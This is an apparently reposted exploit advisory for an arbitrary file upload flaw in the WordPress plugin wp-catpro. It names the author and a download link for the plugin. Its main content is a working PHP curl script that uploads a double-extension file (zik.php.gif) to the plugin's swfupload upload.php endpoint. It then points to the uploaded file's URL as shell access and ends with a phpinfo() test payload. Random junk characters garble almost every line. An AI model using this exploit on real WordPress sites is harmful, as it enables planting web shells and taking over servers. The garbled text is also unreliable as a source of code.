Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
7 B. V9 k1 q$ _5 ~2 J' j#-----------------------------------------------------------------------
' ~9 q: a8 P4 w" t: O m1 z2 ~ 7 Z# \7 E! O$ m
作者 => Zikou-16
9 j' z+ o" R5 y. @& b6 ^' h邮箱 => zikou16x@gmail.com
" p3 X0 q0 [9 K! e5 c g! B- P% Y测试系统 : Windows 7 , Backtrack 5r34 R, M) `) r5 @5 z8 d# H
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip* I. [+ f0 G- o# v% z: ^/ T
####4 ?) j5 ~2 @3 X5 @2 t( P
5 S8 R# P! ~& @7 W: a" S! Q) Y
#=> Exploit 信息:7 {6 B: N/ ]6 ^% T* m8 A
------------------9 E6 `, Q5 ^( P4 K$ ]: f
# 攻击者可以上传 file/shell.php.gif
/ M8 Y- s# w% R4 \# P8 h6 _# ("jpg", "gif", "png") // Allowed file extensions( x/ J4 O" G/ Q( u/ Z
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 Z0 g. g+ H w8 O9 f1 a9 M# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
4 r1 Z: m) l+ o `' V# F6 I% ~------------------8 J y/ o; d0 U( M7 j* Y
3 [( m6 `, W6 F
#=> Exploit
8 G m" I( O5 e9 b+ r' D5 o-----------+ ?" z. J# Q# p
<?php
7 W' ~7 S6 V# l- y2 Q5 F
3 o8 N; n0 a' d$ u' I! ^# `$uploadfile="zik.php.gif";
8 D& d, |8 {% U# J3 `$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");( C8 \8 T0 j6 }) p ]+ O
curl_setopt($ch, CURLOPT_POST, true);
x6 t# A0 {1 q D8 Ncurl_setopt($ch, CURLOPT_POSTFIELDS,7 H8 O# F5 q6 Y
array('Filedata'=>"@$uploadfile",' C8 Y5 c! S6 M! d+ w$ d7 Y8 ?
'folder'=>'/wp-content/uploads/catpro/'));; \; `" g) N) ]# S9 x( N9 k/ Q7 B
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);0 g, u7 R7 M: S
$postResult = curl_exec($ch); i6 v. E4 N0 _! K
curl_close($ch);
. ?: U. X( \* P. R
; F6 ?! p( m {# B- D6 |print "$postResult";
- T( @) L- |; | ; f5 p9 o) y5 c6 t, ]- x$ \+ l
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif: J9 m+ ^: Z. B+ g: f7 n& c
?>; \) y* }0 ]# L$ {: C- {( P
<?php
: o( L. d6 M7 A w& x }phpinfo();% V! F! K- X8 Y6 ^$ S
?> |